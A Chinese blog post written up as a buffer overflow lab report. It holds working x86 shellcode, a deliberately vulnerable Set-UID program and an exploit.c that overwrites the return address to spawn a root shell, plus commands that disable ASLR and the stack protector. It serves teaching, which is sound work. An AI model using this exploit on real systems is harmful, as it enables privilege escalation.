1. 程式人生 > 其它 >緩衝區溢位實驗

緩衝區溢位實驗

實驗環境:Ubuntu20.04 32位

實驗機:Ubuntu20.04 64位

程式碼連結

1 初始設定

  1. Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。可以使用sudo sysctl -w kernel.randomize_va_space=0,執行結果如下:

  2. 此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現

    。linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。可以使用如下指令配置zsh(實驗系統未安裝zsh,如安裝可跳過第一條命令):

    sudo apt install zsh
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    
  3. 輸入命令linux32進入32位linux環境。

2 shellcode

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。以下為shellcodeC語言版本。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

通常使用的是彙編後的shellcode,如下:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3 漏洞程式

漏洞程式程式碼如下:

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通過程式碼可以知道,程式會讀取一個名為“badfile”的檔案,並將檔案內容裝入“buffer”。

編譯該程式,並設定 SET-UID。命令如下:

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack

執行第一條命令,出現報錯

提示缺少相應標頭檔案,使用sudo apt-get install gcc-multilib下載對應依賴。

再次執行命令,執行成功。

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用 –fno-stack-protector 關閉這種機制。 而 -z execstack 用於允許執行棧。

-g 引數是為了使編譯後得到的可執行文件能用 gdb 除錯。

4 攻擊程式

我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。在當前目錄下新建一個 exploit.c 檔案,檔案內容如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的程式碼,\x??\x??\x??\x?? 處需要添上shellcode儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。下面將詳細介紹如何獲得需要新增的地址。

首先使用gdb staack命令進入gdb除錯,先run,再使用disass main命令

重點看

esp 中就是 str 的起始地址,所以我們在地址 0x56556279處設定斷點

地址可能不一致,請根據你的顯示結果自行修改。

接下來的操作:

b *0x56556279
r
i r $esp

最後獲得的這個 0xffffcf30 就是 str 的地址。

按q鍵,再按y退出除錯

根據語句strcpy(buffer + 100,shellcode); 我們計算shellcode的地址為0xffffcf30 + 0x64 = 0xffffcf94

現在修改exploit.c檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x94\xcf\xff\xff,注意順序是反的。

然後編譯exploit.c程式:gcc -m32 -o exploit exploit.c

執行以下命令

./exploit
./stack

執行結果如下:

5 拓展實驗

5.1 開啟地址空間隨機化機制

過命令sudo sysctl -w kernel.randomize_va_space=2開啟系統的地址空間隨機化機制,結果顯然不能進行root。

關閉地址空間隨機化機制後,再次執行就能root了。

5.2 將/bin/sh重新指向/bin/bash

使用一下命令將/bin/sh重新指向/bin/bash

sudo su
cd /bin
rm sh
ln -s bash sh
exit

執行結果如下

進入linux32,再次執行stack,無法root,顯示為段錯誤

再次切換為zsh,執行stack,結果如下:

6 實驗總結

本次實驗參考實驗樓-緩衝區溢位實驗

需要指出該參考資料存在一處問題:

在進入gdb除錯後直接進行反彙編,得到的結果如下圖:

實際上,這種做法是錯誤的。應當按照本文中的做法,先run,再disass main,具體原因如下:

在沒有用gdb執行(run)過可執行程式之前,使用disass指令反彙編出來的組合語言的左邊的地址偏移地址,不是邏輯地址。

參考資料

所以這樣做最後是無法通過緩衝區溢位得到root許可權的,我在做的時候踩了這個坑。